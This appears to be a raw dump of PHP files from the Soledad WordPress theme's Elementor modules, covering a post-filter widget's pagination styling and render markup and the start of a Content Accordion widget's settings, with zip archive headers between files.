				'{{WRAPPER}} .penci-pagination ul.page-numbers li span.current' => 'border-color: {{VALUE}};',
			),
			'condition' => array(
				'paging!' => 'none',
			),
		) );

		$this->add_control( 'bgpagi_bgcolor', array(
			'label'     => __( 'Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-pagination a'                    => 'background-color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination ul.page-numbers li a' => 'background-color: {{VALUE}};',
			),
			'condition' => array(
				'paging!' => 'none',
			),
		) );

		$this->add_control( 'bgpagi_hbgcolor', array(
			'label'     => __( 'Hover & Active Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-pagination a:hover'                         => 'background-color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination ul.page-numbers li a:hover'      => 'background-color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination ul.page-numbers li span.current' => 'background-color: {{VALUE}};',
			),
			'condition' => array(
				'paging!' => 'none',
			),
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'      => 'bgpagi_typo',
			'label'     => __( 'Typography', 'soledad' ),
			'selector'  => '{{WRAPPER}} .penci-pagination a, {{WRAPPER}} .penci-pagination span.current',
			'condition' => array(
				'paging!' => 'none',
			),
		) );

		$this->add_responsive_control( 'bgpagi_borderwidth', array(
			'label'      => __( 'Borders Width', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} ul.page-numbers li a'         => 'border-width: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				'{{WRAPPER}} ul.page-numbers span.current' => 'border-width: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				'{{WRAPPER}} .penci-pagination a'          => 'border-width: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
			),
			'condition'  => array(
				'paging!' => 'none',
			),
		) );

		$this->add_responsive_control( 'bgpagi_borderradius', array(
			'label'      => __( 'Borders Radius', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} ul.page-numbers li a'         => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				'{{WRAPPER}} ul.page-numbers span.current' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				'{{WRAPPER}} .penci-pagination a'          => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
			),
			'condition'  => array(
				'paging!' => 'none',
			),
		) );

		$this->add_responsive_control( 'bgpagi_padding', array(
			'label'      => __( 'Padding', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} ul.page-numbers li a'         => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				'{{WRAPPER}} ul.page-numbers span.current' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				'{{WRAPPER}} .penci-pagination a'          => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
			),
			'condition'  => array(
				'paging!' => 'none',
			),
		) );

		$this->end_controls_section();

		$this->register_block_title_style_section_controls();

	}

	public function get_all_image_sizes() {
		global $_wp_additional_image_sizes;

		$default_image_sizes = [ 'thumbnail', 'medium', 'medium_large', 'large' ];

		$image_sizes = [];

		foreach ( $default_image_sizes as $size ) {
			$image_sizes[ $size ] = [
				'width'  => (int) get_option( $size . '_size_w' ),
				'height' => (int) get_option( $size . '_size_h' ),
				'crop'   => (bool) get_option( $size . '_crop' ),
			];
		}

		if ( $_wp_additional_image_sizes ) {
			$image_sizes = array_merge( $image_sizes, $_wp_additional_image_sizes );
		}

		return $image_sizes;
	}

	public function get_list_image_sizes( $default = false ) {
		$wp_image_sizes = $this->get_all_image_sizes();

		$image_sizes = array();

		if ( $default ) {
			$image_sizes[''] = esc_html__( 'Default', 'soledad' );
		}

		foreach ( $wp_image_sizes as $size_key => $size_attributes ) {
			$control_title = ucwords( str_replace( '_', ' ', $size_key ) );
			if ( is_array( $size_attributes ) ) {
				$control_title .= sprintf( ' - %d x %d', $size_attributes['width'], $size_attributes['height'] );
			}

			$image_sizes[ $size_key ] = $control_title;
		}

		$image_sizes['full'] = esc_html__( 'Full', 'soledad' );

		return $image_sizes;
	}

	protected function render() {
		$settings = $this->get_settings_for_display();
		$tax      = $settings['tax'];
		$order    = $settings['order'];
		$orderby  = $settings['orderby'];
		$maxitems = $settings['maxitems'];

		$dformat           = $settings['dformat'] ? $settings['dformat'] : '';
		$column            = $settings['column'] ? $settings['column'] : '3';
		$tab_column        = $settings['tab_column'] ? $settings['tab_column'] : '2';
		$mb_column         = $settings['mb_column'] ? $settings['mb_column'] : '1';
		$imgpos            = $settings['imgpos'] ? $settings['imgpos'] : 'left';
		$thumb_size_imgtop = 'top' == $imgpos ? 'penci-thumb' : 'penci-thumb-small';
		if ( get_theme_mod( 'penci_featured_image_size' ) == 'vertical' ) {
			$thumb_size_imgtop = 'penci-thumb-vertical';
		} else if ( get_theme_mod( 'penci_featured_image_size' ) == 'square' ) {
			$thumb_size_imgtop = 'penci-thumb-square';
		}
		$thumb_size   = $settings['thumb_size'] ? $settings['thumb_size'] : $thumb_size_imgtop;
		$mthumb_size  = $settings['mthumb_size'] ? $settings['mthumb_size'] : $thumb_size_imgtop;
		$post_meta    = $settings['post_meta'] ? $settings['post_meta'] : array();
		$primary_cat  = $settings['primary_cat'] ? $settings['primary_cat'] : '';
		$title_length = $settings['title_length'] ? $settings['title_length'] : '';
		$excerpt_pos  = $settings['excerpt_pos'] ? $settings['excerpt_pos'] : 'below';
		$paging       = $settings['paging'] ? $settings['paging'] : 'none';
		$paging_align = $settings['paging_align'] ? $settings['paging_align'] : 'align-center';
		if ( 'top' == $imgpos ) {
			$excerpt_pos = 'side';
		}
		$rmstyle        = $settings['rmstyle'] ? $settings['rmstyle'] : 'filled';
		$excerpt_length = $settings['excerpt_length'] ? $settings['excerpt_length'] : 15;

		$thumbnail = $thumb_size;
		if ( penci_is_mobile() ) {
			$thumbnail = $mthumb_size;
		}

		$inner_wrapper_class = 'pcsl-inner penci-clearfix';
		$inner_wrapper_class .= ' pcsl-grid';
		$item_class          = 'normal-item';

		if ( isset( $settings['paywall_heading_text_style'] ) ) {
			$inner_wrapper_class .= ' pencipw-hd-' . $settings['paywall_heading_text_style'];
		}

		$inner_wrapper_class .= ' pcsl-imgpos-' . $imgpos;
		$inner_wrapper_class .= ' pcsl-col-' . $column;
		$inner_wrapper_class .= ' pcsl-tabcol-' . $tab_column;
		$inner_wrapper_class .= ' pcsl-mobcol-' . $mb_column;
		if ( 'yes' == $settings['nocrop'] ) {
			$inner_wrapper_class .= ' pcsl-nocrop';
		}
		if ( 'yes' == $settings['hide_cat_mobile'] ) {
			$inner_wrapper_class .= ' pcsl-cat-mhide';
		}
		if ( 'yes' == $settings['hide_meta_mobile'] ) {
			$inner_wrapper_class .= ' pcsl-meta-mhide';
		}
		if ( 'yes' == $settings['hide_excerpt_mobile'] ) {
			$inner_wrapper_class .= ' pcsl-excerpt-mhide';
		}
		if ( 'yes' == $settings['hide_rm_mobile'] ) {
			$inner_wrapper_class .= ' pcsl-rm-mhide';
		}
		if ( 'yes' == $settings['imgtop_mobile'] && in_array( $imgpos, array( 'left', 'right' ) ) ) {
			$inner_wrapper_class .= ' pcsl-imgtopmobile';
		}
		if ( 'yes' == $settings['ver_border'] ) {
			$inner_wrapper_class .= ' pcsl-verbd';
		}

		if ( ! in_array( 'date', $post_meta ) ) {
			$inner_wrapper_class .= ' no-date';
		}

		$inner_wrapper_class .= ' pcmtp-ct-' . $settings['vertical_position'];

		$term_args = [
			'taxonomy' => $tax,
			'order'    => $order,
			'orderby'  => $orderby,
			'number'   => $maxitems,
		];

		if ( $settings['taxonomies_ex'] ) {
			$term_args['exclude'] = $settings['taxonomies_ex'];
		}

		if ( $settings['taxonomies_in'] ) {
			$term_args['include'] = $settings['taxonomies_in'];
		}

		// posts args

		$post_args = [
			'orderby'        => $settings['post_orderby'],
			'order'          => $settings['post_order'],
			'posts_per_page' => $settings['posts_per_page'],
		];

		if ( $settings['taxonomies_ex'] ) {
			$post_args['tax_query'][] = [
				'operator' => 'NOT IN',
				'taxonomy' => $tax,
				'terms'    => $settings['taxonomies_ex'],
			];
		}

		if ( $settings['taxonomies_in'] ) {
			$post_args['tax_query'][] = [
				'operator' => 'IN',
				'taxonomy' => $tax,
				'terms'    => $settings['taxonomies_in'],
			];
		}

		if ( $settings['taxonomies_ex'] || $settings['taxonomies_in'] ) {
			$post_args['tax_query']['relation'] = 'AND';
		}

		$post_list = new WP_Query( $post_args );

		$data_settings = [
			'hide_thumb'      => $settings['hide_thumb'],
			'show_reviewpie'  => $settings['show_reviewpie'],
			'show_formaticon' => $settings['show_formaticon'],
			'disable_lazy'    => $settings['disable_lazy'],
			'nocrop'          => $settings['nocrop'],
			'post_meta'       => $post_meta,
			'excerpt_length'  => $excerpt_length,
			'title_length'    => $title_length,
			'rmstyle'         => $rmstyle,
			'dformat'         => $dformat,
			'excerpt_pos'     => $excerpt_pos,
			'primary_cat'     => $primary_cat,
			'thumbnail'       => $thumbnail,
			'column'          => $column,
			'show_excerpt'    => $settings['show_excerpt'],
			'show_readmore'   => $settings['show_readmore'],
		];

		$terms_list   = get_terms( $term_args );
		$count_html   = '';
		$sticky_class = $settings['tax_sticky'] ? 'penci-mtp-sticky' : 'penci-mtp-non-sticky';
		$this->markup_block_title( $settings, $this );
		?>
        <div class="penci-mtp-filters-wrapper <?php echo $sticky_class; ?> pctp-<?php echo $settings['tax_position']; ?>"
             data-settings='<?php echo json_encode( $data_settings ); ?>'
             data-tax="<?php echo $tax; ?>" data-request-id="<?php echo wp_create_nonce( 'penci-mtp-filters' ); ?>"
             data-paged="1" data-filter-terms=""
             data-query='<?php echo json_encode( $post_args ); ?>'>
            <div class="penci-mtp-filters-terms">
                <div class="theiaStickySidebar">
					<a href="#" aria-label="<?php echo penci_get_setting( 'penci_trans_all' );?>" class="penci-mtp-filters-mobile">
						<span><?php echo penci_get_setting( 'penci_trans_all' );?></span>
					</a>
					<a href="#" aria-label="<?php echo penci_get_setting( 'penci_trans_close' );?>" class="penci-mtp-filters-close">
						<span><?php echo penci_get_setting( 'penci_trans_close' );?></span>
					</a>
                    <ul class="penci-mtp-filters-main">
                        <li>
                            <a class="pcmtp-f-term" data-id="all" href="#">
								<?php
								echo penci_get_setting( 'penci_trans_all' );
								if ( $settings['count'] ) {
									echo '<span class="count">' . $post_list->found_posts . '</span>';
								}
								?>
                            </a>
                        </li>
						<?php
						foreach ( $terms_list as $order => $term_data ) {
							if ( $settings['count'] ) {
								$count_html = '<span class="count">' . $term_data->count . '</span>';
							}
							echo '<li><a class="pcmtp-f-term" data-id="' . $term_data->term_id . '" href="#">' . $term_data->name . $count_html . '</a></li>';
						}
						?>
                    </ul>
                </div>
            </div>
            <div class="penci-mtp-filters-posts">
                <div class="theiaStickySidebar">
					<?php
					if ( $post_list->have_posts() ) {
						?>
                        <div class="penci-smalllist">
                            <div class="<?php echo $inner_wrapper_class; ?>">
								<?php
								while ( $post_list->have_posts() ) {
									$post_list->the_post();
									?>
                                    <div class="pcsl-item<?php if ( 'yes' == $settings['hide_thumb'] || ! has_post_thumbnail() ) {
										echo ' pcsl-nothumb';
									} ?>">
                                        <div class="pcsl-itemin">
                                            <div class="pcsl-iteminer">


												<?php if ( 'yes' != $settings['hide_thumb'] && has_post_thumbnail() ) { ?>
                                                    <div class="pcsl-thumb">
														<?php
														do_action( 'penci_bookmark_post', get_the_ID(), 'small' );
														/* Display Review Piechart  */
														if ( 'yes' == $settings['show_reviewpie'] && function_exists( 'penci_display_piechart_review_html' ) ) {
															penci_display_piechart_review_html( get_the_ID(), 'small' );
														}
														?>
														<?php if ( 'yes' == $settings['show_formaticon'] ): ?>
															<?php if ( has_post_format( 'video' ) ) : ?>
                                                                <a href="<?php the_permalink() ?>"
                                                                   class="icon-post-format"
                                                                   aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-play' ); ?></a>
															<?php endif; ?>
															<?php if ( has_post_format( 'gallery' ) ) : ?>
                                                                <a href="<?php the_permalink() ?>"
                                                                   class="icon-post-format"
                                                                   aria-label="Icon"><?php penci_fawesome_icon( 'far fa-image' ); ?></a>
															<?php endif; ?>
															<?php if ( has_post_format( 'audio' ) ) : ?>
                                                                <a href="<?php the_permalink() ?>"
                                                                   class="icon-post-format"
                                                                   aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-music' ); ?></a>
															<?php endif; ?>
															<?php if ( has_post_format( 'link' ) ) : ?>
                                                                <a href="<?php the_permalink() ?>"
                                                                   class="icon-post-format"
                                                                   aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-link' ); ?></a>
															<?php endif; ?>
															<?php if ( has_post_format( 'quote' ) ) : ?>
                                                                <a href="<?php the_permalink() ?>"
                                                                   class="icon-post-format"
                                                                   aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-quote-left' ); ?></a>
															<?php endif; ?>
														<?php endif; ?>
                                                        <a <?php echo penci_layout_bg( penci_get_featured_image_size( get_the_ID(), $thumbnail ), 'yes' != $settings['disable_lazy'] ); ?>
                                                                href="<?php the_permalink(); ?>"
                                                                title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                                                class="<?php echo penci_layout_bg_class( 'yes' != $settings['disable_lazy'] ); ?> penci-image-holder"<?php if ( 'yes' == $settings['nocrop'] ) {
															echo ' style="padding-bottom: ' . penci_get_featured_image_padding_markup( get_the_ID(), $thumbnail, true ) . '%"';
														} ?>>
															<?php echo penci_layout_img( penci_get_featured_image_size( get_the_ID(), $thumbnail ), get_the_title(), 'yes' != $settings['disable_lazy'] ); ?>
                                                        </a>

                                                    </div>
												<?php } ?>
                                                <div class="pcsl-content">
													<?php if ( in_array( 'cat', $post_meta ) ) : ?>
                                                        <div class="cat pcsl-cat">
															<?php penci_category( '', $primary_cat ); ?>
                                                        </div>
													<?php endif; ?>

													<?php if ( in_array( 'title', $post_meta ) ) : ?>
                                                        <div class="pcsl-title">
                                                            <a href="<?php the_permalink(); ?>"<?php if ( $title_length ): echo ' title="' . wp_strip_all_tags( get_the_title() ) . '"'; endif; ?>><?php

																if ( ! $title_length ) {
																	the_title();
																} else {
																	echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $title_length, '...' );
																} ?></a>
                                                        </div>
													<?php endif; ?>

													<?php if ( isset( $settings['cspost_enable'] ) && $settings['cspost_enable'] || ( count( array_intersect( array(
																'author',
																'date',
																'comment',
																'views',
																'reading'
															), $post_meta ) ) > 0 ) || ( count( array_intersect( array(
																'author',
																'comment',
																'views',
																'reading'
															), $post_meta ) ) > 0 ) ) { ?>

														<?php if ( $column == 1 ) { ?>
                                                            <div class="grid-post-box-meta pcsl-meta pcmtf-mt-alt">
																<?php if ( in_array( 'date', $post_meta ) ) : ?>
                                                                    <span class="sl-date"><?php penci_soledad_time_link( null, $dformat ); ?></span>
																<?php endif; ?>
                                                            </div>
														<?php } ?>


                                                        <div class="grid-post-box-meta pcsl-meta">
															<?php if ( in_array( 'date', $post_meta ) ) : ?>
                                                                <span class="sl-date"><?php penci_soledad_time_link( null, $dformat ); ?></span>
															<?php endif; ?>

															<?php if ( in_array( 'author', $post_meta ) ) : ?>
                                                                <span class="sl-date-author author-italic">
													<?php echo penci_get_setting( 'penci_trans_by' ); ?> <?php if ( function_exists( 'coauthors_posts_links' ) ) :
																		penci_coauthors_posts_links();
																	else: ?>
                                                                        <a class="author-url url fn n"
                                                                           href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a>
																	<?php endif; ?>
													</span>
															<?php endif; ?>
															
															<?php if ( in_array( 'comment', $post_meta ) ) : ?>
                                                                <span class="sl-comment">
												<a href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a>
											</span>
															<?php endif; ?>
															<?php
															if ( in_array( 'views', $post_meta ) ) {
																echo '<span class="sl-views">';
																echo penci_get_post_views( get_the_ID() );
																echo ' ' . penci_get_setting( 'penci_trans_countviews' );
																echo '</span>';
															}
															?>
															<?php
															$hide_readtime = in_array( 'reading', $post_meta ) ? false : true;
															if ( penci_isshow_reading_time( $hide_readtime ) ): ?>
                                                                <span class="sl-readtime"><?php penci_reading_time(); ?></span>
															<?php endif; ?>
															<?php echo penci_show_custom_meta_fields( [
																'validator' => isset( $settings['cspost_enable'] ) ? $settings['cspost_enable'] : '',
																'keys'      => isset( $settings['cspost_cpost_meta'] ) ? $settings['cspost_cpost_meta'] : '',
																'acf'       => isset( $settings['cspost_cpost_acf_meta'] ) ? $settings['cspost_cpost_acf_meta'] : '',
																'label'     => isset( $settings['cspost_cpost_meta_label'] ) ? $settings['cspost_cpost_meta_label'] : '',
																'divider'   => isset( $settings['cspost_cpost_meta_divider'] ) ? $settings['cspost_cpost_meta_divider'] : '',
															] ); ?>
                                                        </div>
													<?php } ?>

													<?php if ( 'yes' == $settings['show_excerpt'] && 'side' == $excerpt_pos ) { ?>
                                                        <div class="pcbg-pexcerpt pcsl-pexcerpt">
															<?php penci_the_excerpt( $excerpt_length ); ?>
                                                        </div>
													<?php } ?>
													<?php if ( 'yes' == $settings['show_readmore'] && 'side' == $excerpt_pos ) { ?>
                                                        <div class="pcsl-readmore">
                                                            <a href="<?php the_permalink(); ?>"
                                                               class="pcsl-readmorebtn pcsl-btns-<?php echo $rmstyle; ?>">
																<?php echo penci_get_setting( 'penci_trans_read_more' ); ?>
                                                            </a>
                                                        </div>
													<?php } ?>

                                                </div>

												<?php if ( ( 'yes' == $settings['show_excerpt'] || 'yes' == $settings['show_readmore'] ) && 'below' == $excerpt_pos ) { ?>
                                                    <div class="pcsl-flex-full">
														<?php if ( 'yes' == $settings['show_excerpt'] ) { ?>
                                                            <div class="pcbg-pexcerpt pcsl-pexcerpt">
																<?php penci_the_excerpt( $excerpt_length ); ?>
                                                            </div>
														<?php } ?>
														<?php if ( 'yes' == $settings['show_readmore'] ) { ?>
                                                            <div class="pcsl-readmore">
                                                                <a href="<?php the_permalink(); ?>"
                                                                   class="pcsl-readmorebtn pcsl-btns-<?php echo $rmstyle; ?>">
																	<?php echo penci_get_setting( 'penci_trans_read_more' ); ?>
                                                                </a>
                                                            </div>
														<?php } ?>
                                                    </div>
												<?php } ?>
                                            </div>
                                        </div>
                                    </div>
									<?php
								}
								wp_reset_postdata();
								?>
                            </div>
							<?php echo penci_get_html_animation_loading( $settings['ajax_loading_style'] ); ?>
                        </div>
						<?php

					}

					if ( 'loadmore' == $paging || 'scroll' == $paging ) {
						$button_class = ' penci-ajax-more penci-mtpf-more-click';
						if ( 'scroll' == $paging ):
							$button_class = ' penci-ajax-more penci-mtpf-more-scroll';
						endif;
						?>
                        <div class="pcbg-paging penci-pagination <?php echo 'pcbg-paging-' . $paging_align . $button_class; ?>">
                            <a class="penci-ajax-more-button" href="#" aria-label="More Posts"
                               data-more="<?php echo penci_get_setting( 'penci_trans_load_more_posts' ); ?>"
                               data-mes="<?php echo penci_get_setting( 'penci_trans_no_more_posts' ); ?>">
                                <span class="ajax-more-text"><?php echo penci_get_setting( 'penci_trans_load_more_posts' ); ?></span>
                                <span class="ajaxdot"></span>
								<?php penci_fawesome_icon( 'fas fa-sync' ); ?>
                            </a>
                        </div>
					<?php } ?>
                </div>
            </div>
        </div>
		<?php
	}
}
PK     N\.  .  8  inc/elementor/modules/penci-content-accordion/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciContentAccordion;

use PenciSoledadElementor\Base\Module_Base;

class Module extends Module_Base {

	public function get_name() {
		return 'penci-content-accordion';
	}

	public function get_widgets() {
		return array( 'PenciContentAccordion' );
	}
}
PK     N\>P  P  Q  inc/elementor/modules/penci-content-accordion/widgets/penci-content-accordion.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciContentAccordion\Widgets;

use PenciSoledadElementor\Base\Base_Widget;
use Elementor\Controls_Manager;
use Elementor\Group_Control_Typography;
use Elementor\Utils;
use Elementor\Group_Control_Border;
use Elementor\Group_Control_Background;
use Elementor\Group_Control_Box_Shadow;
use Elementor\Group_Control_Image_Size;
use Elementor\Group_Control_Text_Stroke;
use Elementor\Repeater;
use PenciSoledadElementor\Modules\QueryControl\Controls\Penci_Group_Control_Posts;
use PenciSoledadElementor\Modules\QueryControl\Module as Query_Control;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciContentAccordion extends Base_Widget {

	public function get_name() {
		return 'penci-content-accordion';
	}

	public function get_title() {
		return penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( ' Content Accordion', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-accordion';
	}

	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return [ 'content', 'posts', 'custom', 'accordion' ];
	}

	public function get_script_depends() {
		return [ 'penci-content-accordion' ];
	}

	protected function register_controls() {

		$this->start_controls_section(
			'section_content_settings',
			[
				'label' => __( 'Content Settings', 'soledad' ),
			]
		);

		$this->add_control(
			'content_settings',
			[
				'label'          => __( 'Query Type:', 'soledad' ),
				'type'           => Controls_Manager::SELECT,
				'options'        => [
					'post'   => esc_html__( 'Based Posts', 'soledad' ),
					'custom' => esc_html__( 'Custom', 'soledad' ),
				],
				'default'        => 'post',
				'render_type'    => 'template',
				'style_transfer' => true,
			]
		);

		$this->end_controls_section();

		$this->register_query_section_controls( false, array( 'content_settings' => 'post' ) );

		$this->start_controls_section(
			'section_custom_item',
			[
				'label'     => esc_html__( 'Custom Items', 'soledad' ),
				'tab'       => Controls_Manager::TAB_CONTENT,
				'condition' => [ 'content_settings' => 'custom' ]
			]
		);

		$repeater = new Repeater();

		$repeater->start_controls_tabs( 'items_tabs_controls' );

		$repeater->start_controls_tab(
			'tab_item_content',
			[
				'label' => __( 'Content', 'soledad' ),
			]
		);

		$repeater->add_control(
			'image_accordion_title',
			[
				'label'       => __( 'Title', 'soledad' ),
				'type'        => Controls_Manager::TEXT,
				'dynamic'     => [ 'active' => true ],
				'default'     => __( 'Tab Title', 'soledad' ),
				'label_block' => true,
			]
		);

		$repeater->add_control(
			'image_accordion_sub_title',
			[
				'label'       => __( 'Sub Title', 'soledad' ),
				'type'        => Controls_Manager::TEXT,
				'dynamic'     => [ 'active' => true ],
				'label_block' => true,
			]
		);

		$repeater->add_control(
			'image_accordion_button',
			[
				'label'       => esc_html__( 'Button Text', 'soledad' ),
				'type'        => Controls_Manager::TEXT,
				'default'     => esc_html__( 'Read More', 'soledad' ),
				'label_block' => true,
				'dynamic'     => [ 'active' => true ],
			]
		);

		$repeater->add_control(
			'button_link',
			[
				'label'         => esc_html__( 'Button Link', 'soledad' ),
				'type'          => Controls_Manager::URL,
				'default'       => [ 'url' => '#' ],
				'show_external' => false,
				'dynamic'       => [ 'active' => true ],
				'condition'     => [
					'image_accordion_button!' => ''
				]
			]
		);

		$repeater->add_control(
			'slide_image',
			[
				'label'   => esc_html__( 'Background Image', 'soledad' ),
				'type'    => Controls_Manager::MEDIA,
				'dynamic' => [ 'active' => true ],
				'default' => [
					'url' => Utils::get_placeholder_image_src(),
				],
			]
		);

		$repeater->end_controls_tab();

		$repeater->start_controls_tab(
			'tab_item_content_optional',
			[
				'label' => __( 'Optional', 'soledad' ),
			]
		);

		$repeater->add_control(
			'title_link',
			[
				'label'         => esc_html__( 'Title Link', 'soledad' ),
				'type'          => Controls_Manager::URL,
				'default'       => [ 'url' => '' ],
				'show_external' => false,
				'dynamic'       => [ 'active' => true ],
				'condition'     => [
					'image_accordion_title!' => ''
				]
			]
		);

		$repeater->add_control(
			'image_accordion_text',
			[
				'type'    => Controls_Manager::WYSIWYG,
				'dynamic' => [ 'active' => true ],
				'default' => __( 'Box Content', 'soledad' ),
			]
		);

		$repeater->end_controls_tab();

		$repeater->end_controls_tabs();

		$this->add_control(
			'image_accordion_items',
			[
				'label'       => esc_html__( 'Items', 'soledad' ),
				'type'        => Controls_Manager::REPEATER,
				'fields'      => $repeater->get_controls(),
				'default'     => [
					[
						'image_accordion_sub_title' => __( 'This is a label', 'soledad' ),
						'image_accordion_title'     => __( 'Content Accordion #1', 'soledad' ),
						'image_accordion_text'      => __( 'Lorem ipsum dolor sit amet consect voluptate repell endus kilo gram magni illo ea animi.', 'soledad' ),
						'slide_image'               => [ 'url' => Utils::get_placeholder_image_src() ]
					],
					[
						'image_accordion_sub_title' => __( 'This is a label', 'soledad' ),
						'image_accordion_title'     => __( 'Content Accordion #2', 'soledad' ),
						'image_accordion_text'      => __( 'Lorem ipsum dolor sit amet consect voluptate repell endus kilo gram magni illo ea animi.', 'soledad' ),
						'slide_image'               => [ 'url' => Utils::get_placeholder_image_src() ]
					],
					[
						'image_accordion_sub_title' => __( 'This is a label', 'soledad' ),
						'image_accordion_title'     => __( 'Content Accordion #3', 'soledad' ),
						'image_accordion_text'      => __( 'Lorem ipsum dolor sit amet consect voluptate repell endus kilo gram magni illo ea animi.', 'soledad' ),
						'slide_image'               => [ 'url' => Utils::get_placeholder_image_src() ]
					],
					[
						'image_accordion_sub_title' => __( 'This is a label', 'soledad' ),
						'image_accordion_title'     => __( 'Content Accordion #4', 'soledad' ),
						'image_accordion_text'      => __( 'Lorem ipsum dolor sit amet consect voluptate repell endus kilo gram magni illo ea animi.', 'soledad' ),
						'slide_image'               => [ 'url' => Utils::get_placeholder_image_src() ]
					],
				],
				'title_field' => '{{{ image_accordion_title }}}',
			]
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_layout_hover_box',
			[
				'label' => esc_html__( 'General Settings', 'soledad' ),
				'tab'   => Controls_Manager::TAB_CONTENT,
			]
		);

		$this->add_responsive_control(
			'skin_type',
			[
				'label'                => __( 'Style', 'soledad' ),
				'type'                 => Controls_Manager::SELECT,
				'options'              => [
					'default'     => __( 'Horizontal', 'soledad' ),
					'vertical'    => __( 'Vertical', 'soledad' ),
				],
				'default'              => 'default',
				'tablet_default'       => 'default',
				'mobile_default'       => 'default',
				'prefix_class'         => 'pcct-ac-%s-',
				'selectors_dictionary' => [
					'default'     => 'flex-direction: unset;',
					'vertical'    => 'flex-direction: column;',
				],
				'selectors'            => [
					'{{WRAPPER}} .penci-ct-accordion' => '{{VALUE}};',
				],
				'render_type'          => 'template',
				'style_transfer'       => true,
			]
		);

		$this->add_responsive_control(
			'image_accordion_min_height',
			[
				'label'      => esc_html__( 'Height', 'soledad' ),
				'type'       => Controls_Manager::SLIDER,
				'size_units' => [ 'px', 'em', 'vh' ],
				'range'      => [
					'px' => [
						'min' => 100,
						'max' => 1200,
					],
					'em' => [
						'min' => 10,
						'max' => 100,
					],
					'vh' => [
						'min' => 10,
						'max' => 100,
					],
				],
				'selectors'  => [
					'{{WRAPPER}} .penci-ct-accordion' => 'height: {{SIZE}}{{UNIT}};',
				],
			]
		);

		$this->add_responsive_control(
			'image_accordion_width',
			[
				'label'     => esc_html__( 'Content Width', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => [
					'px' => [
						'min' => 100,
						'max' => 1200,
					],
				],
				'selectors' => [
					'{{WRAPPER}} .penci-ct-accordion-content' => 'width: {{SIZE}}{{UNIT}};',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Image_Size::get_type(),
			[
				'name'      => 'thumbnail_size',
				'label'     => esc_html__( 'Image Size', 'soledad' ),
				'exclude'   => [ 'custom' ],
				'default'   => 'full',
				'separator' => 'before'
			]
		);

		$this->add_control(
			'image_accordion_event',
			[
				'label'   => __( 'Select Event', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'mouseover',
				'options' => [
					'click'     => __( 'Click', 'soledad' ),
					'mouseover' => __( 'Hover', 'soledad' ),
				],
			]
		);

		$this->add_control(
			'divider_hr',
			[
				'type' => Controls_Manager::DIVIDER,
			]
		);

		$this->add_responsive_control(
			'items_content_align',
			[
				'label'     => __( 'Text Alignment', 'soledad' ),
				'type'      => Controls_Manager::CHOOSE,
				'options'   => [
					'left'    => [
						'title' => __( 'Left', 'soledad' ),
						'icon'  => 'eicon-h-align-left',
					],
					'center'  => [
						'title' => __( 'Center', 'soledad' ),
						'icon'  => 'eicon-h-align-center',
					],
					'right'   => [
						'title' => __( 'Right', 'soledad' ),
						'icon'  => 'eicon-h-align-right',
					],
					'justify' => [
						'title' => __( 'Justified', 'soledad' ),
						'icon'  => 'eicon-h-align-stretch',
					],
				],
				'selectors' => [
					'{{WRAPPER}} .penci-ct-accordion-item' => 'text-align: {{VALUE}};',
				],
			]
		);

		$this->add_responsive_control(
			'items_content_vertical_align',
			[
				'label'     => __( 'Vertical Alignment', 'soledad' ),
